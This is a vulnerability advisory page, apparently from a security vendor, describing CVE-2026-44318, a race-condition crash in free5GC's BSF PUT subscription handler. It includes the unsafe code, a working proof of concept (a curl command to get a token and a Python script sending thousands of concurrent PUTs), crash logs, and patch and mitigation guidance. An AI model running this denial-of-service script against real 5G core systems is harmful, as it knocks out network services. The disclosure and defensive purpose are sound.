Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-44318 bsf

MEDIUMFix: free5gc/bsf@2779085

CVE-2026-44318 is a medium-severity (CVSS 6.5) CWE-362 vulnerability in github.com/free5gc/bsf. A fix is available for github.com/free5gc/bsf — see the affected versions and patch details below.

free5GC: BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions

Also known asGHSA-27ph-8q4f-h7m7GO-2026-4994
Published
May 27, 2026
Updated
Sep 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44318.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-44318 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/free5gc/bsf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details

Validated against the BSF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/bsf:v4.2.1
  • Docker validation date: 2026-03-22
  • BSF endpoint: http://10.100.200.11:8000

Read side (locked):

func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
    c.mutex.RLock()
    defer c.mutex.RUnlock()

    sub, exists := c.Subscriptions[subId]
    return sub, exists
}

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):

subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf):

  • Read side (locked):
    • NFs/bsf/internal/sbi/processor/subscriptions.go:81
    • NFs/bsf/internal/context/context.go:726
    • NFs/bsf/internal/context/context.go:730
  • Unsafe write side (the create-if-absent branch in PUT, no lock):
    • NFs/bsf/internal/sbi/processor/subscriptions.go:111
    • NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC

Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

  1. Obtain a valid nbsf-management token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
  1. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
import json, threading, urllib.request

TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
    "events": ["PCF_BINDING_CREATION"],
    "notifUri": "http://127.0.0.1/cb",
    "notifCorreId": "1",
    "supi": "imsi-208930000000003",
}).encode()

def send_put(i, n):
    url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
    req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
    req.add_header("Authorization", f"Bearer {TOKEN}")
    req.add_header("Content-Type", "application/json")
    urllib.request.urlopen(req, timeout=2).read()

threads = []
for i in range(64):
    for n in range(50):
        threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
  1. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
    github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
  1. Container state confirms exit code 2:
exited|2|0

Impact

Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can:

  • Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process.
  • Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/free5gc/bsfall versions1.0.2go get github.com/free5gc/bsf@v1.0.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/bsf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/free5gc/bsf to 1.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44318 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44318 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44318. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurren
O3 Security · Impact-Aware SCA

Is CVE-2026-44318 in your dependencies?

O3 Security finds CVE-2026-44318 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44318: bsf DoS (Medium 6.5) | O3 Security